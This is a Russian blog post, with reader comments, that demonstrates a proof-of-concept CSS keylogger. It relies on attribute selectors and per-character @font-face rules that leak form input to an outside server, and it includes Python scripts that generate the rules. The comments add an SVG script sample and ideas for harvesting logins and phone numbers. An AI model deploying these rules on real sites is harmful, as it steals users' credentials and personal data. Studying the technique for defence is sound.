Часто бывает так, что внешние JS файлы выглядят как угроза для клиента, в то время как внешнему CSS не придают особого значения. Казалось бы, как CSS правила могут угрожать безопасности вашего приложения, и собирать логины? Если вы считаете что это невозможно, то пост будет вам полезен.
Мы рассмотрим на примерах, как можно реализовать простейший кейлоггер имея доступ только к CSS файлу, подключенному к странице-жертве.
Вступление
Не так давно я написал пост как можно отслеживать действия пользователей с помощью CSS, на который получил вопрос формата "можно ли собрать данные формы с помощью CSS". Возможно, c первого взгляда, покажется что это невозможно. Но давайте посмотрим на CSS селекторы, принимая во внимание, что применять их мы будем к тегу input type="text".
В первую очередь, кажется логичным использовать для этих целей селектор атрибутов
вида input[value^="login"], который позволяет выбрать поля текстовое содержание которых начинается с строки "login".
Мы можем сгенерировать словарь слов, и создать множество CSS правил по шаблону jsfiddle:
input[value^="my_login1"] {
background: url("https://example.com/save-login/my_login");
}
input[value^="other_text"] {
background: url("https://example.com/save-login/other_text");
}
// ...
У данного подхода есть значительный недостаток, такая схема будет отправлять запросы только в случае, если у тега input изначально был установлен атрибут value на серверной стороне. С другой стороны, бывает так, что после отправки формы пользователю возвращается та же самая форма (с уже заполненными полями) но с списком необходимых исправлений. В таком случае наш метод отработает на 100%.
Напишем небольшой скрипт, для генерации CSS с нужными комбинациями:
import itertools
from string import Template
alphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]
cssTemplate = Template('input[value^="$password"]{background:url("$backend/$password");}').safe_substitute(backend = 'https://x.x/save')
for subset in itertools.combinations(alphabet, 4):
print(Template(cssTemplate).substitute(password = ''.join(subset)))
Таким образом мы получим 58905 правил, которые после обработки GZIP, вмещаются в файл размером 350K. В случае если на странице-жертве будет обнаружено поле, в котором текст совпадает с одним из наших правил (скажем, начинается со слова "XXXX") — мы получим GET запрос на x.x/save/XXXX.
Работаем с пользовательским вводом
Предварительно заполненные поля в форме встречаются очень редко. Да еще содержимое этого поля может не совпасть с специальным словарем, который мы сгенерировали в предыдущем шаге. Было бы неплохо иметь возможность получать информацию, в тот момент, когда пользователь вводит ее в текстовое поле.
Для этого лучше всего подходит правило @font-face, которое позволяет подключить свой шрифт. А также инструкция unicode-range, которая позволяет сегментировать свой шрифт, явно указывая к каким unicode code point относиться тот или иной файл.
На практике, это обычно выглядит как разделение шрифта на несколько файлов, по языковому признаку (например latin, greek, cyrillic), чтобы клиент загрузил только ту часть шрифта, которая представлена на странице. Возможно вы встречались с таким подходом используя fonts.google.com:
/* https://fonts.googleapis.com/css?family=Roboto:400&subset=latin-ext,cyrillic-ext */
/* cyrillic */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: local('Roboto'), local('Roboto-Regular'), url(https://fonts.gstatic.com/s/roboto/v18/mErvLBYg_cXG3rLvUsKT_fesZW2xOQ-xsNqO47m55DA.woff2) format('woff2');
unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
Подобным образом, мы можем создать собственный шрифт, и указать для каждого символа отдельное правило. Тем самым заставляя браузер делать GET запрос как только этот символ понадобиться для отображения.
Рассмотрим такой пример jsfiddle:
@font-face {
font-family: spyFont;
src: url(c/d/keylogger/a), local(Arial);
unicode-range: U+0061;
}
input {
font-family: spyFont, sans-serif;
}
В данном случае U+0061 соответствует символу "A". При вводе символа мы получим GET запрос к c/d/keylogger/a.
Рассмотрим небольшой скрипт, который позволит сгенерировать шрифт для символов по словарю:
from string import Template
alphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]
cssTemplate = Template('@font-face {font-family:$fontName; src:url(/keylogger/$char), local(Impact); unicode-range: U+$codepoint;}').safe_substitute(fontName = 'spyFont')
for char in alphabet:
codepoint = ('U+%04x' % ord(char))
print(Template(cssTemplate).substitute(char = char, codepoint = codepoint))
Такими правилами, мы создадим шрифт который будет логировать ввод пользователя на наш сервер. Данный подход тоже не идеален: запросы на символ приходят один раз на каждый символ. Другими словами, если пользователь введет "АА", мы получим один GET.
Подведем итоги
Применив комбинацию статичного словаря с директивами input[value^="XX"] и правил unicode-range для каждого символа в отдельности, мы сможем собрать уже значительный набор данных для предсказания актуального ввода пользователя. Пример такой комбинации вы можете найти тут.
Будьте осторожны с подключаемыми CSS файлами из внешних источников.
Данный пост написан исключительно как proof-of-concept в ознакомительных целях.
Комментарии (27)
manoftheyear
04.02.2018 09:32А в курсе ли разработчики CSS таких дыр? И не прикроют ли они в будущем возможность отправлять запросы через url() на удалённые сервера?
Понятно, что это урежет гибкость, но не пожертвуют ли они ей ради безопасности?vitaliy2
04.02.2018 09:51Так необязательно же грузить content: url(), можно и backgroung-image: url() и многое другое. Или Вы предлагаете все картинки в html-коде прописывать?
Даже если бы мы всё убрали, ну всё-равно значит можно прописать в html-коде, а потом просто скрыть/открыть элемент с помощью css. Да и какой смысл убирать? Всё то же самое можно сделать и скриптами. Разве что когда кто-то грузит чужой css, но много ли кто так делает?manoftheyear
04.02.2018 10:27Я не имел ввиду вообще запретить url(). Я имел ввиду запретить url() отправлять запросы на удалённые сервера. А запрос на свой же сервер (на котором лежит сам css-файл) оставить. Хотя, действительно, смысл не велик. Если всё тоже самое можно сделать из html, но думаю, ответственных за css, проблемы html не особо волнуют.
esc
04.02.2018 09:53Тут скорее логично более агрессивное кэширование сделать. И это будут делать не разработчики CSS, а разработчики браузеров (как закрывали ранее дырки с посещенными ссылками, например)
url не запретят т.к. слишком много сайтов сломается единовременно из-за этого. Да и не логично.
jMas
04.02.2018 10:22форма (с уже заполненными полями) но с списком необходимых исправлений. В таком случае наш метод отработает на 100%.
Поле с паролем обычно принято не заполнять (но такая вероятность все равно остается).
demimurych
04.02.2018 10:47Простите если я чего то не понял, но…
А каким образом код на загрузку такого css будет вставлен в страницу? Если на серверной стороне — то зачем мне морочить голову с таким кейлогером, когда я могу реализовать его гораздо эффективнее на серверной стороне. Если на стороне клиента, то есть есть xss и она работает — то опять нет смысла морочить себе голову с кейлогером на css — эффективнее будет тот же на js.
Единственный сценарий использования это когда разработчик сам вставил ссылку на ваш внешний css к себя на страницу, но это уже очень специфический вектор атаки.hcbogdan Автор
04.02.2018 11:12+3Вы все правильно поняли, это тот самый случай когда на странице-жертве подключен внешний CSS. Или не внешний, а просто есть возможность внедрить стили на страницу-жертву.
VolCh
04.02.2018 12:49+1XSS предполагает именно скриптинг. Простейшая защита может тупо вырезать теги скрипт, обжект и т. п., оставляя безобидный стайл для оформления.
ainu
04.02.2018 17:39Вот тут кроется рецепт (на будущее) защиты.
Если мы разрешаем внедрять HTML, запрещая некоторые правила по собственному словарю (например, запрещаем теги
kalininmr
04.02.2018 16:55а точно input[value^=«login»]?
почему не по имени поля?hcbogdan Автор
04.02.2018 17:19Зачем нам выбирать поля по имени? Смысл селектора собрать то, что находиться в атрибуте value — и отправить на внешний сервер с помощью инструкции url(). Посмотрите пример — jsfiddle.net/hcbogdan/1wdky4t6/1
vlasenkofedor
05.02.2018 02:24Не получается как написал. Скрипт не исполняется
В то-же время если открыть файл в браузере, alert выведется
Файл svg<svg width="100%" height="100%" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script>alert("ok");</script> <circle cx="25" cy="25" r="25"/> </svg>
Stalker_RED
05.02.2018 20:54Исполняется, и есть доступ к элементам за пределами SVG
jsfiddle.net/Stalk/v4a7n92h (при вводе в input[type=password] его содержимое копируется в консоль)
alexey-m-ukolov
05.02.2018 08:38
Это пасхалка такая?<?php
from string import Template
hcbogdan Автор
05.02.2018 10:03Просто python3
docs.python.org/3.1/library/string.html#string.Template
Methos
06.02.2018 21:31Вероятно, если файл шрифта не кешировать, то браузер будет постоянно брать файл шрифта на каждый запрос, но это нужно проверять.
hcbogdan Автор
06.02.2018 21:34Уже проверено. Можете взять приер тут jsfiddle.net/hcbogdan/tbg7wd4n
Кеширующие заголовки имеют влияние только при повторном вводе (в следующем сеансе).
vitaliy2
Если не брать в расчёт шрифты, то можно комбинировать как префиксный селектор, так и постфиксный + селектор подстроки.
В итоге 1 млрд лет превратился в 20 секунд. Конечно, тут зависит от мощности сервера, лимитов на перебов, капчи и пр., но уменьшение стойкости пароля всё-равно очень серьёзное.
9-символьный пароль сократится с 999 лет (630 квадриллионов вариантов) до 3 мс (59 тыс вариантов).
PS. В расчётах принималось, что сервера сайта могут выдержать 20 млн запросов в секунду (конечно, большинство сайтов столько не выдержат). Трафик примерно от 10 Гбит/с и более.
hcbogdan Автор
На счет постфиксного селектора — хорошая идея. Мы можем собирать постфиксным селектором не пароли а именно логины, в качестве которых часто выступают номера телефонов. Бывает так, что номер телефона заранее установлен в поле для ввода, и остается ввести пароль.
В этом случае, постфиксным селектором мы соберем отличную базу номеров.